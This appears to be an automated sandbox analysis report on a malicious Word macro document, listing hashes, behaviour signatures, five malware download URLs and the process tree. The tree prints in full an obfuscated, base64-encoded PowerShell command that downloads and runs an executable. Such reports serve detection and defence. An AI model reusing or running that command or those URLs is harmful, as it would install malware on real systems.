Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    16/05/2024, 19:00

General

  • Target

    4c9577c9b451bdf089a29f08dad3f0e3_JaffaCakes118.doc

  • Size

    182KB

  • MD5

    4c9577c9b451bdf089a29f08dad3f0e3

  • SHA1

    b35b70d557ad8efa514365382c21560eed42c747

  • SHA256

    67d05dd367015c892e3f0f50e5737a5138f00f626a134a85f1c2a6496132e691

  • SHA512

    533cd9589f7d826e9c8f46cd2a505eed4f60e23fc09b2fb043213fe2a2036a95f5548ef869479f3854084ad5eba1ba30f91319938fb76da21474c84bc14ae806

  • SSDEEP

    3072:577HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/Vrx1YTBsPDgnZr5NBfAih:577HUUUUUUUUUUUUUUUUUUUT52VA17Yb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://animzzz.net/wp-content/I_0f/

exe.dropper

http://apnaoasis.com/wp-content/Y3_iT/

exe.dropper

http://acsboda.com/wp-includes/yn_gp/

exe.dropper

http://congchung.isocial.vn/img/6S_yF/

exe.dropper

http://www.axasta.com/wp-content/T8_Fp/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c9577c9b451bdf089a29f08dad3f0e3_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABoAFoAXwBjAEEAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBIAEEAVQAnACwAJwBCADEAJwAsACcAQQBBAEEAJwApADsAJABqAFgAQQBDAFEAVQBfACAAPQAgACcAMQAwADMAJwA7ACQAVwA0AEEAQQBjAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcANAAnACwAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnADQAQgAnACwAJwBvAEEAVQAnACkAKQA7ACQAZgBaAFUAQQBBAGsAQQBaAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAFgAQQBDAFEAVQBfACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7ACQARwBRAFUAQgBrAFgAMQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBHACcALAAnAEQAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQBBAFoAJwAsACcARwBBACcAKQApADsAJABvAFoAQQBBAHgAQgBBAFUAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AYABlAFQALgBgAFcARQBCAEMATABpAEUAYABOAHQAOwAkAGYAeAB3AFoAQQBVAEEAYwA9ACgAIgB7ADIANQB9AHsAMQB9AHsAOAB9AHsANAAzAH0AewAxADgAfQB7ADMAOQB9AHsAOQB9AHsAMwB9AHsAMQA5AH0AewAyADQAfQB7ADIAMAB9AHsAMAB9AHsAMwAzAH0AewAxADUAfQB7ADUAfQB7ADQANwB9AHsANAA4AH0AewA0ADEAfQB7ADEANwB9AHsAMQAxAH0AewAyADMAfQB7ADIAMgB9AHsAMQA2AH0AewA3AH0AewA2AH0AewAyADEAfQB7ADMAMgB9AHsAMQAyAH0AewAyADYAfQB7ADQANAB9AHsAMQAzAH0AewAzADgAfQB7ADIANwB9AHsAMgA4AH0AewA1ADAAfQB7ADMANgB9AHsANAAyAH0AewAzADQAfQB7ADQANgB9AHsAMgB9AHsANAAwAH0AewAxADQAfQB7ADQAOQB9AHsANAA1AH0AewAzADEAfQB7ADEAMAB9AHsAMgA5AH0AewAzADcAfQB7ADMAMAB9AHsANAB9AHsAMwA1AH0AIgAtAGYAIAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAA6ACcALAAnAEAAaAAnACkALAAnADAAJwAsACcAZgAvACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBzAG8AYwAnACwAJwBpAGEAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB1ACcALAAnAG4AZwAuAGkAJwAsACcAYwBoACcAKQApACwAJwBwACcALAAnAGUAbgAnACwAJwBvAGEAJwAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBuAHQAJwAsACcAdAAnACkALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAvAHcAJwAsACcAZQAnACkALAAnAC4AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AJwAsACcAYQAuACcAKQAsACcAdwBwACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBzAGIAJwAsACcAbwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwBGAC8AJwAsACcAUwBfAHkAJwApACwAJwAvACcALAAnADYAJwApACwAJwBwAG4AYQAnACwAJwBuACcALAAnAG0ALwAnACwAJwB6ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC0AYwBvACcALAAnAG4AJwApACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALwBJAF8AJwAsACcAdAAnACkALAAnAFkAJwAsACcAYwBvACcALAAnAC0AJwAsACcAZQBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvACcALAAnAGgAJwApACkALAAnAHAAJwAsACcAYwAnACwAJwBsACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBtAC8AdwAnACwAJwBwAC0AYwAnACkALAAnAG4AdAAnACwAJwB0ACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQABoACcALAAnAFQALwAnACkALAAnADMAXwBpACcAKQAsACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAGgAdAAnACwAJwBwAC8AQAAnACwAJwBnACcAKQAsACcAOgAnACwAJwB0AHAAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBUADgAXwAnACwAJwB0ACcAKQAsACcAcAAvACcALAAnAEYAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcwAvACcALAAnAGQAJwAsACcAeQBuACcAKQAsACcAbwAnACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwBwAC0AaQAnACwAJwBuACcAKQAsACcAbQAvACcALAAnAGMAbwAnACwAJwBkAGEALgAnACkALAAnAHoAegAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGwALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAJwBpAG0AZwAnACwAJwB2ACcAKQApACwAJwBjAG8AJwAsACcAXwAnACwAJwBpAG0AJwAsACcAOgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAYQB4ACcALAAnAGEAcwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBvAG4AJwAsACcALwAvAGMAJwApACwAJwBnACcAKQAsACcAcwAnACwAJwBpAHMALgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdABwADoALwAvACcALAAnAHcAdwAnACkALAAnAHcALgAnACkALAAnAHUAJwApAC4AIgBzAFAATABgAEkAdAAiACgAJwBAACcAKQA7ACQAVQBVAHcAWgBRADEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBCACcALAAnAGMAQQB3ACcAKQAsACcAQgBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGYAQQBCAGsAMQBBAEEANAAgAGkAbgAgACQAZgB4AHcAWgBBAFUAQQBjACkAewB0AHIAeQB7ACQAbwBaAEEAQQB4AEIAQQBVAC4AIgBkAE8AVwBuAGAATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABmAEEAQgBrADEAQQBBADQALAAgACQAZgBaAFUAQQBBAGsAQQBaACkAOwAkAGMAQwBfAEEAVQBDAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBDAEEAQQAnACwAJwBBACcAKQAsACcAWgAnACwAJwBQAFEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgApAC4AIgBsAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADIAOAAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgA7ACQAVQBBAEEAYwBEAHcAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQBRACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVACcALAAnAEEAVQBfACcAKQAsACcAQQAnACkAKQA7AGIAcgBlAGEAawA7ACQAagBYAGMAXwBBAGsAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAEQAJwAsACcAVQBBACcAKQAsACcAdwBjACcALAAnAEgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFoAQgBCAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEMAJwAsACcAQQAnACkALAAnAFoAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2744

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      5144619519d5c226de0cf8d906956e38

      SHA1

      cdd8c3401c05c6db64d4e6a958efb06aaa107016

      SHA256

      7e5a2d04f7d29922a1c91ad4983d81452e7f3105a127cab4ac54ff99dfc67df6

      SHA512

      234ff27eb026d1f4239814abdf7e2e738b9360167aa187d8a3a8c96d42e19ddca19a5393d7f83761267b2985cb7de4af50166a42e74fe7ab34ec78b306fb928b

    • memory/1264-15-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-17-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-7-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-0-0x000000002F251000-0x000000002F252000-memory.dmp

      Filesize

      4KB

    • memory/1264-9-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-10-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-14-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-13-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-2-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/1264-12-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-8-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-18-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-51-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/1264-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1264-33-0x00000000710FD000-0x0000000071108000-memory.dmp

      Filesize

      44KB

    • memory/1264-34-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/1264-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2744-25-0x0000000001D90000-0x0000000001D98000-memory.dmp

      Filesize

      32KB

    • memory/2744-24-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

      Filesize

      2.9MB